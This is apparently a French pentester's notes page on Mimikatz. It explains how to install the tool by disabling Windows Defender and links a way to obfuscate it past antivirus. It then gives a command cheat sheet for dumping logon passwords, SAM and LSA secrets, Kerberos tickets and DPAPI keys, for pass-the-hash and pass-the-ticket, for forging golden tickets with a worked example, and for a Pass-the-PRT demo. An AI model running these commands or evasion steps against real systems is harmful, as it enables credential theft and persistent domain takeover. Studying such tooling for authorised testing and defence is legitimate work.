Mimikatz

Def :


3-mimikatz-run-in-Powershell-ISE.webp
Mimikatz est un outil puissant utilisé dans le domaine de la sécurité informatique, souvent dans le cadre de tests de pénétration pour extraire des données sensibles des systèmes Windows. Cet outil est capable de lire la mémoire des processus système et peut être utilisé pour récupérer des informations d'identification, des tickets Kerberos, et d'autres secrets. Voici une explication détaillée de certaines de ses commandes les plus utiles :

Installation :


Pour installer Mimikatz sous windows il est possible d'utiliser Git ou bien de copier le code sur sa machine. Il faut récupérer le mimikatz de parrotSec.
Cependant Mimikatz est reconnu comme un virus, il faut donc l'autoriser dans Windows Defender et dans chrome potentiellement :
Pasted image 20240624100631.png
On peut par exemple désactiver la protection en temps réel pour utiliser mimikatz.

Build Mimikatz :


Sinon il est possible de build son propre mimikatz pour bypass les analyses AV.
Pour obfusquer la signature :
https://gist.github.com/S3cur3Th1sSh1t/ef2f2b296e26b18c361e40a3d1c2fda5

Mimikatz Cheat Sheet


Général

privilege::debug
Active les privilèges de débogage sur le système, permettant à Mimikatz d'interagir avec des processus système de niveau plus élevé.
log
Active la journalisation des actions de Mimikatz pour suivre ce qui a été fait.
log customlogfilename.log
Spécifie un nom de fichier personnalisé pour le journal des actions de Mimikatz.

Sekurlsa

Module pour interagir avec les secrets de sécurité de Windows.
sekurlsa::logonpasswords
Extrait les mots de passe des sessions actuellement ouvertes.
sekurlsa::logonPasswords full

Extrait des informations complètes sur les sessions ouvertes, y compris les mots de passe et d'autres données d'authentification.
sekurlsa::tickets /export
Exporte les tickets Kerberos de sessions actives.
sekurlsa::pth
Effectue une attaque "pass-the-hash" ou "pass-the-ticket". Permet d'exécuter une commande en utilisant l'identifiant d'un utilisateur, basé sur un hash NTLM ou un ticket Kerberos.

Kerberos

Module spécifique à la gestion des tickets Kerberos.
kerberos::list /export
Liste et exporte les tickets Kerberos disponibles.
kerberos::ptt
Importe un ticket Kerberos pour l'utiliser dans la session actuelle.
kerberos::golden
Crée un ticket Kerberos Golden/Silver, permettant des privilèges élevés persistants sur un réseau.

Crypto

Module pour interagir avec les API de cryptographie Windows.
crypto::capi
Interagit avec l'API de cryptographie Microsoft (CryptoAPI).
crypto::cng
Interagit avec la nouvelle génération d'API de cryptographie (CNG) de Windows.
crypto::certificates
Liste ou exporte les certificats stockés dans Windows.
crypto::keys
Exporte les clés privées associées aux certificats.

Vault & LSADump

Modules pour extraire des secrets stockés localement.
vault::cred
Affiche les credentials stockés dans le coffre Windows.
vault::list
Liste tous les coffres et les secrets qu'ils contiennent.
lsadump::sam
Dump le Security Account Manager, qui contient des hashes de mots de passe locaux.
lsadump::secrets
Extrait les secrets stockés dans la base de données LSA (Local Security Authority).
lsadump::cache
Extrait les informations d'authentification mises en cache utilisées pour la validation hors ligne.

Dpapi

Module pour interagir avec l'API de protection des données de Windows.
sekurlsa::dpapi
Extrait les clés utilisées pour le chiffrement DPAPI.

Minidump

Le module minidump est conçu pour analyser les fichiers de vidage de la mémoire. C'est particulièrement utile pour récupérer des informations d'identification à partir de systèmes dont on ne peut pas obtenir des privilèges élevés pendant l'exécution.
sekurlsa::minidump lsass.dmp
Utilise Mimikatz pour analyser un fichier de vidage de mémoire spécifique (lsass.dmp ici) afin d'extraire les informations d'identification. Cette commande permet de récupérer des mots de passe et des clés sans avoir à exécuter Mimikatz sur un système actif.

PTT (Pass-the-Ticket)

Le module kerberos::ptt est utilisé pour injecter des tickets Kerberos dans la session courante, permettant à l'attaquant d'usurper l'identité d'autres utilisateurs.
kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi
Charge un ticket Kerberos dans la session, ce qui permet de s'authentifier comme l'utilisateur spécifié sans connaître son mot de passe.

Golden/Silver Tickets

Les tickets Golden et Silver sont des techniques avancées pour maintenir l'accès aux réseaux Windows, en utilisant des vulnérabilités dans le service Kerberos.
kerberos::golden
Crée un ticket Golden, qui est un ticket TGT (Ticket-Granting Ticket) for Kerberos, utilisé pour maintenir l'accès à tous les services d'un domaine.

Exemple :
kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi
Cette commande crée un ticket pour l'utilisateur avec des droits élevés sur le domaine spécifié.
kerberos::silver
Similaire au ticket Golden, mais spécifique à un service plutôt qu'à l'ensemble du domaine.

TGT (Ticket-Granting Ticket)

kerberos::tgt
Utilise Mimikatz pour obtenir ou manipuler le TGT, facilitant d'autres actions dans le service Kerberos.

Purge

kerberos::purge
Supprime tous les tickets Kerberos de la session courante, ce qui peut aider à éviter la détection ou à nettoyer après des tests.

Démos :


Pass the PRT :


Le but de cette attaque est de faire un PassThePRT, pour se faire voici les étapes à réaliser :
1.

privilege::debug
Sekurlsa::cloudap

Pasted image 20240701095357.png
2.

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]

Pasted image 20240701095923.png